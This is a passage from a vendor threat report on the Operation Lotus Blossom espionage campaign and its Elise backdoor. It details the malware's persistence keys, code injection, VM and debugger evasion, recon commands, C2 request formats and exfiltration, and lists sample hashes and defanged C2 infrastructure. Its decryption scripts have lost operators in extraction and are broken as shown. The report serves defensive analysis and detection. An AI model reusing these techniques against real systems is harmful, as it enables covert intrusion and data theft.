PN KEYPOSITION with CELL Nrs Claims to be a roster of high-level officers at the Philippine Naval Headquarters and is dated 23 June 2014.
It has birth dates and cellphone number as well as current job roles.
Cellphone Number Claims to be a roster of high-level officers at the Philippine Naval Headquarters and is dated February 2015.
It contains job roles as well as cellphone numbers.
Table 1    Names and descriptions of decoy documents included in attacks on the Philippine government and military.
P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      1 1 In contrast to the Vietnamese targeting, this activity involves a mix of actor-registered and dynamic DNS (DDNS) domains use for C2.
However, the actor-registered domain also used the same initial registrant, paulzzyeah.net, as the final two Vietnamese samples discussed above, and most campaign codes also appear to end with a date.
Also of note, all but two of these samples used campaign codes that started with 340.
The text within three of the campaign codes refers to the decoy contents.
The campaign codes we saw with the Philippines activity are below.
340_typhoon 340-0226 340-dfa-520 340-0528 phone key0730 Taiwan and Hong Kong We uncovered three droppers that targeted Taiwan and one that targeted Hong Kong.
One of these claimed to be a current staff contact list, but when opened, did not contain any information.
As this is the only roster-themed decoy that did not contain any information, it may indicate this was a mistake on the threat actors part.
We were unable to recover decoy documents for the other two.
The sample targeting Hong Kong contains earthquake safety information in long form Chinese, copied from the Internet and widely circulated in multiple languages, since at least 2009.
It has its own entry on Snopes.com evaluating the accuracy of the informationi.
This sample is also an outlier, in that it targeted a science and technology university, in contrast to most of the other targeting that had a government or military focus.
This activity shows the clearest striation (Figure 13), with the cluster on the left using the first two campaign codes below.
310-pyq mm-0807 cyd-zc It is possible this represents two sub-groups targeting Taiwan and Hong Kong with the same malware over the same period of time.
Interestingly, the cluster in the upper left uses some infrastructure used in the Vietnamese activity, as well as a registrant seen in the Philippines activity.
FIGURE 13   Connections between Elise samples and C2 servers used in attacks on Taiwan and Hong Kong.
P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      1 2 Indonesia We identified one Elise dropper carrying a decoy document written in Indonesian that contains information about health foods to avoid the flu, including a picture of a sweet potato.
It appears to have been copied directly from the Internet.
The campaign code used in this attack was 36-SC-0115, as well as the following C2 servers.
122.10.89.84 beckhammer.xicp.net The campaign code and C2s are shown below, and the C2 matches up with one of the Philippine-targeted samples in the previously discussed activity.
In addition, the campaign code format and numbers at the end of the campaign code appear to be a date, which is also similar to the Philippines activity.
Elise Backdoor Analysis Over the course of our research, Unit 42 has identified over 50 samples belonging to the Elise malware family.
Through analysis of these files, we have grouped them into three distinct variants.
Compile timestamps for these samples ranged from June 2012 to March 2015.
The naming of the three Elise malware variants coincides with their original compile timestamps, starting with the oldest.
Please note that these variant labels may not coincide with naming conventions created by the antivirus industry.
While each variant uses distinct mechanisms for infecting the system and remaining persistent between reboots, all three variants share the following common attributes: An encrypted binary configuration data structure containing a list of C2 servers to contact.
A campaign identifier, such as jessica-cpt-app or 370my0216, which identifies the specific malware reporting to the C2 server.
C2 communications using a custom format delivered over HTTP or HTTPS.
Performs basic network reconnaissance upon installation and reports findings to C2 server.
Each variant of Elise contains the functionality to perform the following tasks: Execute commands, DLLs, or executables Write Files Read Files Update Configuration Upload Configuration Data FIGURE 14   Decoy document written in Indonesian, which describes foods that help fend off the flu.
P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      1 3 Variant A The first variant of Elise identified by Unit 42 has a compile date set in mid-2012.
This particular variant has a configuration size of 1480 and the ability to install itself as either a service or executable.
Variant A is delivered via a dropper executable file, which differs from later variants that are typically deployed with a malicious Microsoft Office document.
When executed, the malware will configure itself for deletion upon reboot, using the MoveFileExA function, as seen below.
MoveFileExA(self, 0, MOVEFILE_DELAY_UNTIL_REBOOT) Readers may recall seeing this technique used by the Microsoft Excel shellcode identified in the Vietnam campaign.
The malware proceeds to extract and decrypt an embedded DLL to the following location.
APPDATA\Microsoft\Network\mssrt32.dll The following algorithm is used to encrypt/decrypt the embedded DLL: void decrypt_string(char encrypted, int size)  int i if ( encrypted )  for ( i  size - 1 i  0 --i ) encrypted[i]  encrypted[i - 1] encrypted  0x15   Prior to writing this DLL to disk, the malware will write the encrypted configuration to this DLL.
The following Python code may be used to decrypt this configuration: from ctypes import from struct import import sys fh  open(sys.argv[1], rb) fd  fh.read() fh.close() cdll.msvcrt.srand(2014) out for x in fd: out  chr(ord(x)  (cdll.msvcrt.rand()  128)) print repr(out) P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      1 4 The malware proceeds to configure the mssrt32.dll DLL as a service.
This service is configured with properties specified in the malwares configuration.
The following example was identified in one of the samples analyzed.
This service is then manually started using a call to the StartServiceA function.
Should the installation of this newly created service fail, the malware will instead write an executable to the following location: APPDATA\Microsoft\Network\svchost.exe The name of this executable is specified within the malwares configuration data.
This file is embedded and dropped in the same manner the mssrt32.dll file was previously.
Persistence for this executable is set via the following registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost : APPDATA\Microsoft\Network\svchost.exe Finally, this executable is run via a call to the ShellExecuteW function.
This dropped DLL or executable contains the actual Elise malware.
When run, it will begin by deleting the following file should it exist: TEMP\000ELISEA350.TMP This file will be used going forward to store any log data generated by Elise.
The malware writes its encrypted configuration to one of the following locations: APPDATA\Microsoft\Network\6B5A4606.CAB APPDATA\Microsoft\Network\6B5A4607.CAB Service Name MSCM Display Name Microsoft Security Compliance Manager Description The service provides centralized security baseline management features, a baseline portfolio, customization capabilities, and security baseline export flexibility to accelerate your organizations ability to efficiently manage the security and compliance process for the most widely used Microsoft technologies.
Image Path SystemRoot\System32\svchost.exe -k MSCM Service DLL APPDATA\Microsoft\Network\mssrt32.dll Service Main ESEntry P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      1 5 The following script can decrypt and parse the CAB file: import sys from struct import from ctypes import def decrypt(data): cdll.msvcrt.srand(2014) out for x in data: out  chr(ord(x)  (cdll.msvcrt.rand()  128)) return out def parse_config(out): identifier, \ compile_time, \ unknown1, \ sleep_timer, \ unknown_bool, \ campaign, \ c1, c2, c3, c4, c5, \ unknown_bool2, \ unicode_exe_name, \ service_name, \ registry_service_name, \ display_name, \ service_description  unpack(40siiib20s50s50s50s50s50sb40s20s20s50 s700s, out[0:1154]) print Config Identifier      : s  identifier print Compile Time           : s  compile_time print Unknown DWORD          : s  unknown1 print Sleep Timer            : s  sleep_timer print Unknown Bool Value     : s  unknown_bool print Campaign               : s  campaign print Command and Control    : s  c1 print Command and Control    : s  c2 print Command and Control    : s  c3 print Command and Control    : s  c4 print Command and Control    : s  c5 print Unknown Bool Value 2   : s  unknown_bool2 print Service Executable     : s  unicode_exe_name.replace(\x00,) print Service Name           : s  service_name print Registry Service Name  : s  registry_service_name print Service Display Name   : s  display_name print Service Description    : s  service_description fh  open(sys.argv[1], rb) data  fh.read() fh.close() parse_config(decrypt(data)) P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      1 6 The malware proceeds to enter in a loop, where it will attempt to communicate with the specified URLs via HTTP or HTTPS.
It initially sends the following GET request to the C2 servers specified in its configuration: GET /param1/page_param2.html HTTP/1.1 Accept: / User-Agent: Mozilla/4.0 (compatible MSIE 8.0 Win32) Host: C2 Server Connection: Keep-Alive Cache-Control: no-cache Pragma: no-cache In the request above, the param1 parameter is determined using the last four octets of the victims MAC address.
For example, if the victims MAC address was 00-11-22-33-44-55-66, this parameter would become 2233445566.
The param2 parameter is randomly generated using the current time as a seed.
This results in a unique request being made every time.
When an initial communication is made to the remote server, the malware will execute the following commands to conduct basic network reconnaissance: net user ipconfig/all net start systeminfo Elise uses a series of cookie values in order to exfiltrate data, as seen below.
FIGURE 15   Elise Variant A POST Request.
P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      1 7 Data contained within these cookies is Base64-encoded.
Once decoded and joined, the data has the following structure.
Variant B The second variant (B) of Elise has compile timestamps dating back to July 2012.
Variant B has a configuration data structure size of 324 bytes.
It is often delivered via a file exploiting a client-side vulnerability, such as CVE-2012-0158.
When originally installed on a victim machine, the client-side exploit shellcode will drop two files  an executable file and a DLL.
The executable is then run in a newly spawned process.
This executable file loads the second exported function of the DLL via the functions ordinal value.
This exported function is commonly called either CsOptionsHandle or ESHandle.
When this function is called, this Elise variant will begin by decrypting its 324-byte configuration structure.
The following Python code may be used to decrypt and parse this configuration: import sys from struct import from ctypes import def decrypt(data): cdll.msvcrt.srand(2014) out for x in data: out  chr(ord(x)  (cdll.msvcrt.rand()  128)) return out def parse_config(out): compile_time, \ unknown1, \ sleep_timer, \ unknown_bool, \ campaign, \ c1, c2, c3, c4, c5, \ unknown_bool2, \ unknown_string  unpack(iiib20s50s50s50s50s50sb40s, out) print Compile Time           : s  compile_time print Unknown DWORD          : s  unknown1 print Sleep Timer            : s  sleep_timer print Unknown Bool Value     : s  unknown_bool print Campaign               : s  campaign FIGURE 16   Elise Variant A Data Encoding.
P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      1 8 print Command and Control    : s  c1 print Command and Control    : s  c2 print Command and Control    : s  c3 print Command and Control    : s  c4 print Command and Control    : s  c5 print Unknown Bool Value 2   : s  unknown_bool2 print Unknown Unidoce String : s  unknown _string.replace(\ x00,) fh  open(sys.argv[1], rb) data  fh.read() fh.close() parse_config(decrypt(data)) As we can see, this variant of Elise uses the same encryption/decryption routine for its configuration data as variant A.
The malware proceeds to create one of the following files that will be used to store this configuration data: APPDATA\Microsoft\IMJP8_1\8S3N0PW7.dat APPDATA\\Microsoft\IMJP8_1\26TXNK4F.dat One of the more interesting features of this variant is its ability to detect either a VMware or VirtualPC virtual environment, as we see below.
Should the malware detect it is running within either of these environments, it will not perform any malicious activity going forward.
Otherwise, it proceeds to configure persistence across reboots by setting the following registry key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\imejp : [self] FIGURE 17   Elise Variant B virtual environment check.
P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      1 9 When initially run, Elise variant B will also execute the following commands on the victim machine: ipconfig/all net start dirC:\progra1 systeminfo These command strings are obfuscated within the malware, using the following algorithm: char decrypt_string(char encrypted, int size)  int i char result for ( i  0 i  size i )  result  encrypted[i] result  0x1Bu  return result  Exfiltration for variant B uses the same technique used in variant A. Base64-encoded cookie values are used to exfiltrate data, as seen below.
The structure of this base64-decoded data remains the same as well.
The following structure is used in variant B.
FIGURE 18   Elise Variant B POST Request P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      2 0 Variant C The third variant of Elise has its earliest compile timestamp in mid-2013 and has been used in attacks periodically since that time.
This variant has been the most prevalent overall, accounting for roughly 75 percent of all samples identified by Unit 42.
The most recent sample of variant C was compiled in late March of 2015.
Additionally, variant C uses a 336-byte configuration structure.
Similar to variant B, variant C is often delivered via a file exploiting a client-side vulnerability, such as CVE-2012-0158.
This particular variant is delivered as a single DLL with two exported functions  Setting and Update When the Setting export is called, the malware will copy itself to the following location: APPDATA\Microsoft\Network\rasphone.dll This new file is then called via the following command: Rundll32.exe APPDATA\Microsoft\Network\rasphone.dll,Update When the Update export is called on rasphone.dll, the malware will begin by checking if a debugger is attached via a call to IsDebuggerPresent().
In the event it is not detected, the malware will then check to ensure the DLL has been loaded by Rundll32.
exe by comparing the current filename against dll32.
rasphone.dll uses a simple string encryption routing.
The following code can decrypt encountered strings: void decrypt_string(char encrypted, int size)  int i if ( encrypted )  for ( i  size - 1 i  0 --i ) encrypted[i]  encrypted[i - 1] encrypted  0xA0   FIGURE 19   Elise Variant B Data Encoding P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      2 1 The malware continues to identify the location of iexplore.exe (PROGRAM FILES\ Internet Explorer\iexplore.exe) and spawn a new instance of this process.
The malware will proceed to inject itself into iexplore.exe.
Finally, the malware will decrypt an embedded DLL located in its resource section (XDATA) and write this DLL to a new section of memory in iexplore.exe.
A configuration blob of 336 bytes is subsequently written to this DLL, and the DLL is loaded into iexplore.exe via a call to LoadLibraryA.
The injected DLL (hereafter referred to as xdata) begins by spawning a new thread where all further actions will be taken.
The malware writes its encrypted configuration to the following location: APPDATA\Microsoft\Network\6B5A4606.CAB The following script can be used to decrypt this CAB file.
import sys from struct import def decrypt(data): str_len  len(data) - 1 out while(str_len  0): str_len - 1 if str_len  0: break out  chr(ord(data[str_len])  ord(data[str_len-1]))  out out  chr(ord(data[0])  0xA0)  out return out def parse_config(out): compile_time, \ unknown1, \ sleep_timer, \ unknown_bool, \ campaign, \ c1, c2, c3, c4, c5, c6  unpack(iiib20s50s50s50s50s50s50s, out[0:333]) print Compile Time           : s  compile_time print Unknown DWORD          : s  unknown1 print Sleep Timer            : s  sleep_timer print Unknown Bool Value     : s  unknown_bool print Campaign               : s  campaign print Command and Control    : s  c1 print Command and Control    : s  c2 print Command and Control    : s  c3 print Command and Control    : s  c4 print Command and Control    : s  c5 print Command and Control    : s  c6 fh  open(sys.argv[1], rb) data  fh.read() fh.close() parse_config(decrypt(data)) P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      2 2 Additionally, this CAB file is time stomped to a Create/Modify time of Sunday, November 21, 2010, 10:29:33 UTC.
This malware also writes to a log file located at the following path.
TEMP\00EL225AF.TMP Data in this file is not obfuscated or encrypted in any way.
The malware proceeds to enter in a loop, where it will attempt to communicate with the specified URLs via either HTTP or HTTPS.
The following has been identified about the structure of the binary data submitted via POST requests.
This structure is consistent with all previous Elise variants discussed.
When an initial communication is made to the remote server, the malware will execute the following commands to conduct basic network reconnaissance: net user ipconfig/all net start systeminfo This data is exfiltrated using a POST request, as seen below.
In the above example, the 2320 value in the URI is generated using the victims MAC address.
The 00320511 value in the URI is generated using the current time.
This allows each request to be unique and also identify the victim machine.
FIGURE 20   Elise Variant C Data Encoding.
FIGURE 21   Elise Variant C POST Request.
P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      2 3 Previous Research Multiple research groups have mentioned the Elise backdoor in publicly available reports.
This section highlights some of those to help readers connect this campaign to previously known attacks.
In 2013, Xecure Labs and Academia Sinica published a joint paper, and they delivered a presentation at BlackHat in which they identified Elise as part of a larger group of tools they referred to as the LStudio, ST Group and APT0LSTU.
The research team noted that Elise and other related tools had been used primarily in attacks on Taiwan (Figure 22), but also against the United States, Canada and other nations.
Trend Micro refers to Elise as BKDR_ESILE, making a slight modification to the authors chosen name.
Trend Micro first reported on Elise in their 2013 2H targeted Attack Trends report ii.
Since then, they have referenced that paper in multiple blogs and reports iii iv v. This research indicates that the majority of attacks using Elise also targeted government organizations in the Asia Pacific region.
FireEye refers to Elise as the Page malware, because early versions of the Trojan use the word page in their Command and Control URLs.
FireEye first noted an Elise attack in September 2012, which involved a targeted spear phishing attack against the aviation defense industry vi.
FireEye later noted Elise was delivered in an attack using a lure related to the crash of Malaysian Airlines flight 370 vii.
FIGURE 22   Slide 30 from BlackHat presentation showing Elise target.
P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      2 4 Conclusion Operation Lotus Blossom represents a long-term campaign targeting government and military organizations in several nations of Southeast Asia conducted by a persistent attack group.
We traced the earliest of these attacks to 2012, and the most recent occurred during the course of writing this paper.
In one case, the targeted organization received 20 separate email attacks carrying Elise exploit files over the course of eight weeks.
While we cannot attribute these attacks to those of a specific nation state, the pattern indicates a highly persistent adversary with the ability to develop custom tools, and maintain command and control infrastructure, over a long period of time.
This evidence is consistent with a nation state adversary with a strong interest in the militaries of Southeast Asian nations.
Lotus Blossom may deploy additional tools beyond the Elise backdoor detailed in this report, after the group has achieved a foothold in the network.
Related tools used by the group include those known as LStudio,  and Evora.
Unit 42 initially identified the attacks described in this report using Palo Alto Networks AutoFocus platform, which quickly enables analysts to find connections between malware samples analyzed by our WildFire system.
We combined this data with open source intelligence to gather additional samples, which broadened the scope of our analysis.
We have tagged all of these samples, and the infrastructure used in this campaign, within AutoFocus, using the tags Elise and LotusBlossom respectively.
WildFire correctly identifies Elise executables, as well as the exploit files used in Lotus Blossom attacks, as malicious.
We have released IPS signature 14358 in response, which detects command and control traffic generated by Elise.
P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      2 5 Appendix Elise Sample Details SHA256 a28d6d7ac530753bb2ebfe1a9e9bd60269e6d227dec555e538cc36a6decf29f Campaign Code PYQ Command and Control 59.6.2[.
]16 cpcl2006.dyndns-free[.
]com shotacon.dyndns[.
]info petto.mooo[.
]com kid.dyndns[.
]org SHA256 949c9457a6c77e7e7f1519435149183c56eb53f7d74439fb848b5d6d91196a73 Campaign Code PYQ Command and Control 59.6.2[.
]16 cpcl2006.dyndns-free[.
]com shotacon.dyndns[.
]info petto.mooo[.
]com kid.dyndns[.
]org SHA256 712c488950f27e98bc4ebe5b63e5775498236a179cb4576bf021f8e6e6de0df4 Campaign Code MYGHOST Command and Control 50.7.11[.
]10 www3.bkav2010[.
]net SHA256 b9681c178e087140344e6aec2630c61f6a7be92e97ebbe7ce10528f6f0e6028f Campaign Code yxz-tw Command and Control 184.22.44[.
]209 kjd.dyndns[.
]org 202.82.202[.
]228 wsi.dyndns[.
]org cpcl2006.dyndns-free[.
]com SHA256 dc61e089eebf6fa1b3abf637ce105e0d20666aa52d9001f5fd5034815331cd61 Campaign Code 340_typhoon Command and Control beckhammer.xicp[.
]net 122.10.89[.
]84 SHA256 6eae10f0b9a62a26b19897f7ba627f92e93e458034939f55f2001835c0e1f1be Campaign Code llmacau Command and Control 202.82.91[.
]139 218.103.16[.
]153 203.218.138[.
]30 103.246.245[.
]146 P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      2 6 SHA256 8c2cd914de7c125e49019f3826918511150ee4fff8a923da350a99c102b36455 Campaign Code yxz-kjhkjsxy Command and Control 184.22.44[.
]209 kjd.dyndns[.
]org 202.82.202[.
]228 wsi.dyndns[.
]org cpcl2006.dyndns-free[.
]com SHA256 a8e0ab6b19400eccd3c9aceb183fe7626d5bde7bdf9b8ec8825aa17cc3a213a3 Campaign Code 340_typhoon Command and Control beckhammer.xicp[.
]net 122.10.89[.
]84 SHA256 e9971de22a922678fc216e9e3923c7e6b21455ddfbb24eb46e50e1cc7ceacc31 Campaign Code demo Command and Control 122.10.89[.
]84 beckhammer.xicp[.
]net 122.10.89[.
]85 SHA256 0752bbdb0c51a519f17a62dd30a033c224c82168522f2c88949b1a0afc8f9037 Campaign Code 340-0226 Command and Control harryleed.dyndns[.
]org verolalia.dyndns[.
]org jackyson.dyndns[.
]info scristioned.dyndns-web[.
]com 173.231.49[.
]98 SHA256 4780442f3cc8d3e1888aa6cecbb05d0c49a6755964eba7a8a6a36d6d2a0ef881 Campaign Code yxz-tw Command and Control cpcl2006.dyndns-free[.
]com wsi.dyndns[.
]org 202.82.202[.
]228 kjd.dyndns[.
]org 184.22.44[.
]209 SHA256 bae07b0c3e4e96731360dc4faa49c0d4abe4d3705e768393f21661c82dea13f3 Campaign Code Alice_vishipel Command and Control www.serchers[.
]net 142.91.252[.
]130 www.aliancesky[.
]com 58.64.183[.
]92 SHA256 7e386ff64be78af18f8a79d01cb75b0438cbcee4647e0a928100bd52ee56db76 Campaign Code G140509ZA01 Command and Control 46.251.237[.
]59 www.tintuchoahau[.
]com P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      2 7 SHA256 866c698073e4deb66dd83c1ec9567ec03eca9f03775deadb81cc59fdb6cfd446 Campaign Code 310-pyq Command and Control cybertunnel.dyndns[.
]info newshappys.dyndns-blog[.
]com www.imonju[.
]com www.serchers[.
]net 202.82.202[.
]228 SHA256 edb45f03dfd52ab58f163ad2ca48f4bc9c4bcb72ea9181d0e0a1d87859f707a6 Campaign Code 370mymm Command and Control 122.10.89[.
]84 122.10.89[.
]85 SHA256 3d2c6d48425212eabb886c2e7e89249e4aa8cf4ad9ec3dd22cafb4f879683d8b Campaign Code 340-dfa-520 Command and Control phil-gov.gotdns[.
]org scristioned.dyndns-web[.
]com asean-star[.
]com aseansec.dynalias[.
]org 113.10.136[.
]18 SHA256 d9174d6bbcb51d3df186794109cd6b2036f6231cf8733290eadd399bf8137055 Campaign Code 340-0528 Command and Control phil-army.gotdns[.
]org scristioned.dyndns-web[.
]com asean-star[.
]com aseansec.dynalias[.
]org 113.10.136[.
]18 SHA256 30f1f7e848c79212f70794d718d0f3929c24e0f3d28695a7c85a85c77ab7aac9 Campaign Code 310-pyq Command and Control cybertunnel.dyndns[.
]info newshappys.dyndns-blog[.
]com www.imonju[.
]com www.serchers[.
]net 202.82.202[.
]228 SHA256 39dd2381bcd0f47dadf23399254bf1b51a837179e5634328afafe07510f5888a Campaign Code 340-0528 Command and Control phil-army.gotdns[.
]org scristioned.dyndns-web[.
]com asean-star[.
]com aseansec.dynalias[.
]org 113.10.136[.
]18 SHA256 e2181b3d47feb5a321fe3b85b08a0245a1e0824b213e568fa4736d529fd5f8c2 Campaign Code 731 Command and Control usa-moon[.
]net 23.234.63[.
]197 P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      2 8 SHA256 c19d3242d43c71f03f5873231444c12a6a11892dd7f0142ff10479f1f718382d Campaign Code key0730 Command and Control usa-moon[.
]net 23.234.63[.
]197 SHA256 24bb8e48f37cbd71b2195cff4f52ec304a2ed9d60c28d2afd785e6f32639325f Campaign Code bio Command and Control usa-moon[.
]net 23.234.63[.
]197 SHA256 65c901b19e2eec6b8392100c1073253641a95dd542f39c9ca95755e8a2afde14 Campaign Code Alice_Spider Command and Control www.aliancesky[.
]com 58.64.183[.
]92 www.serchers[.
]net 162.211.181[.
]107 SHA256 34943d8718d35a633bafefb6f113b3486945ec7dcd19bde11ca3c29feed44af3 Campaign Code HKDLS Command and Control 101.55.121[.
]47 27.255.64[.
]231 www.iascas[.
]net 59.188.247[.
]32 SHA256 400148084474b709a060b844966cf75301d5f2c2b8ae1048f37f634073ead630 Campaign Code FUCKU Command and Control 101.55.121[.
]47 118.193.212[.
]61 www.seachers[.
]net SHA256 61a66afac2702276f6bba2cfcab58198fced893ad1da27aef228259869f5383f Campaign Code FUCKU Command and Control 101.55.121[.
]47 118.193.212[.
]61 www.seachers[.
]net SHA256 6f039f217d8b3bf6686e298416f084884b9a7ec0ee51f334ecc3f5a2da9145a8 Campaign Code FUCKU Command and Control 101.55.121[.
]47 118.193.212[.
]61 www.seachers[.
]net SHA256 eae4b429b0b732d49750400e70caef579450d0651373440f536de71d6134c173 Campaign Code FUCKU Command and Control 101.55.121[.
]47 118.193.212[.
]61 www.seachers[.
]net P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      2 9 SHA256 8f7c74a9e1d04ff116e785f3234f80119d68ae0334fb6a5498f6d40eee189cf7 Campaign Code HKDLS Command and Control 101.55.121[.
]47 27.255.64[.
]231 www.iascas[.
]net 59.188.247[.
]32 SHA256 a462085549f9a1fdeff81ea8190a1f89351a83cf8f6d01ecb5f238541785d4b3 Campaign Code FUCKU Command and Control 101.55.121[.
]47 118.193.212[.
]61 www.seachers[.
]net SHA256 a8e0ab6b19400eccd3c9aceb183fe7626d5bde7bdf9b8ec8825aa17cc3a213a3 Campaign Code mm-0807 Command and Control www.imonju[.
]net 61.58.31[.
]102 202.77.181[.
]179 SHA256 96356db43d7e9a5c3c4e3f9f7ee9a3dba14ad1c7db7367b7f6d664db4f0ef5d7 Campaign Code jessica-cpt-app Command and Control www.serchers[.
]net www.aliancesky[.
]com 162.211.181[.
]107 58.64.183[.
]92 SHA256 bd78e106f208cbb8ea9e5902d778514f1fc2d15876fca292971c6695541889a3 Campaign Code jessica-cpt-app Command and Control www.serchers[.
]net www.aliancesky[.
]com 162.211.181[.
]107 58.64.183[.
]92 SHA256 96410865d46cda89c7c34c60d485c2378a98acbba7ead5ada90daa02a94ba299 Campaign Code Alice_erpas Command and Control www.boshman09[.
]com www.chris201[.
]net 58.64.183[.
]92 SHA256 a98db2098fe9e3e203bed8318ae1d71e8a7b68f801613be10f3917baad7b49b2 Campaign Code jessica-cpt-app Command and Control www.serchers[.
]net www.aliancesky[.
]com 162.211.181[.
]107 58.64.183[.
]92 P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      3 0 SHA256 233af642b3e22613551e087a7cefcf2a530752da6613efc52da7cb957cb8f0f3 Campaign Code KITY090901 Command and Control 46.251.237[.
]59 www.tintuchoahau[.
]com SHA256 b1e30dd3ad2c3290adad848f7199e03f365ecf484c44c6c7eaf42f6b323cd30b Campaign Code KITY090901 Command and Control 46.251.237[.
]59 www.tintuchoahau[.
]com SHA256 9a226eeae1fc51a2bc2e72b098d5654238d0cc8eae29c0cdaacb49ae9d997d04 Campaign Code QY030610 Command and Control 95.154.195[.
]152 www.vienclp[.
]com SHA256 463c6c6ffb8ecf2df44e294818dd500457807ff126dd658c5fe329c09f43a6e0 Campaign Code KITY01232 Command and Control 95.154.195[.
]152 www.vienclp[.
]com SHA256 3a806f8efa338c871b1338a5db8af4128012559d09b06ab997db50a0f90434b1 Campaign Code KITY01232 Command and Control 95.154.195[.
]152 www.vienclp[.
]com SHA256 8ce0b29202f3df23ce583040e2ffe79af78e0bb375ce65ec37a6ffe7d49b5bb5 Campaign Code QY030610 Command and Control 95.154.195[.
]152 www.vienclp[.
]com SHA256 2551f95845ad83ebc56853442bb75c11517e99fe0196ecb30f80e5b203c9a9ff Campaign Code QY030610 Command and Control 95.154.195[.
]152 www.vienclp[.
]com SHA256 e4a460db653c8df4223ec466a0237943be5de0da92b04a3bf76053fa1401b19e Campaign Code QQQQQ Command and Control boshman09[.
]com chris201[.
]net 58.64.183[.
]92 P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      3 1 SHA256 49bf19bd2381f5c78eb2d00a62e1b377620705dba0fa843fb8c8d26d92ec52e4 Campaign Code 36-SC-0114 Command and Control 103.244.91[.
]16 162.211.181[.
]26 101.55.120[.
]165 beckhammer.xicp[.
]net newinfo32.eicp[.
]net SHA256 9e5c286fcc47c8346267574ea805cde24b04915f5372f03923c0d6a13290e0ea Campaign Code 36-SC-0127 Command and Control www.interhero[.
]net 101.55.120[.
]165 101.55.120[.
]153 www.babysoal[.
]com beckhammer.xicp[.
]net SHA256 0201aaa8eda6dedc6c90381e225620cd33fb7b244f76bf229c3dd43feb9bdeaf Campaign Code Alice_rosey Command and Control 210.209.127[.
]8 www.boshman09[.
]com www.chris201[.
]net 45.64.113[.
]130 SHA256 f0304a1f7d87ac413f43a815088895872be0045a33c5f830b4b392a7ce5b8c46 Campaign Code 340-dfa-1007 Command and Control usa-moon[.
]net aseaneco[.
]org 103.28.46[.
]96 SHA256 fd6302a152b0a2eff84b6ef219db5d79b6039043dfd5799ac9a4a0cced58e8bd Campaign Code 370my0216 Command and Control 113.10.222[.
]157 www.tgecc[.
]org SHA256 00c0e0c14835c08d220ef27ef6324df86880167d416ff7183d7df241ffebc3f8 Campaign Code ooo Command and Control www.boshman09[.
]com www.chris201[.
]net 210.209.79[.
]29 SHA256 0adbf0f6a5c21054e569b2ef68c8c6ae7834a0700672c1f3ec6e50daf49a3a94 Campaign Code oyf Command and Control www.boshman09[.
]com www.chris201[.
]net 210.209.79[.
]29 P A L O  A LT O  N E T W O R K S        O p e r a t i o n  L o t u s  B l o s s o m      3 2 SHA256 093e394933c4545ba7019f511961b9a5ab91156cf791f45de074acad03d1a44a Campaign Code Alice_rosey Command and Control 210.209.127[.
]8 www.boshman09[.
]com www.chris201[.
]net 45.64.113[.
]130 SHA256 8e7c198e1eaa5be2d1415be3001c217634ae207b8f912e9a84af6c6016aa467e Campaign Code ooo Command and Control www.boshman09[.
]com www.chris201[.
]net 210.209.79[.
]29 SHA256 97d6699e449ddad97cc33e380a4873a7ceb0e8f0f50b5c8f72e6a4ff3dd1009f Campaign Code phone Command and Control usa-moon[.
]net aseaneco[.
]org 103.252.19[.
]13 SHA256 b53f98c113e7f72ff5170dcdb2ab2b1c15a02aadb72b2d2710d899aea9b875bd Campaign Code phone Command and Control usa-moon[.
]net aseaneco[.
]org 103.252.19[.
]13 SHA256 b2232492776267599307309e9d8874aac25e7cb31b155b0ca05349312690372f Campaign Code cyd-zc Command and Control 101.55.121[.
]47 118.193.212[.
]61 SHA256 64ffe128c61289bec90057c7bf3ff869c329ffcb1afa4c4cd0daed1effabf105 Campaign Code cyd-zc Command and Control 101.55.121[.
]47 118.193.212[.
]61 SHA256 b0ffb80762f25935415a7ffd6b9402a23c2b6b4dc4921419ef291160cf7f023b Campaign Code Alice_15A Command and Control 210.209.127[.
]8 www.boshman09[.
]com www.chris201[.
]net SHA256 8e180a9d7f233c189519bbfa2b649ca410c4869457e0cf8396beb82ffbffd05c Campaign Code ooo Command and Control www.boshman09[.
]com www.chris201[.
]net 210.209.79[.
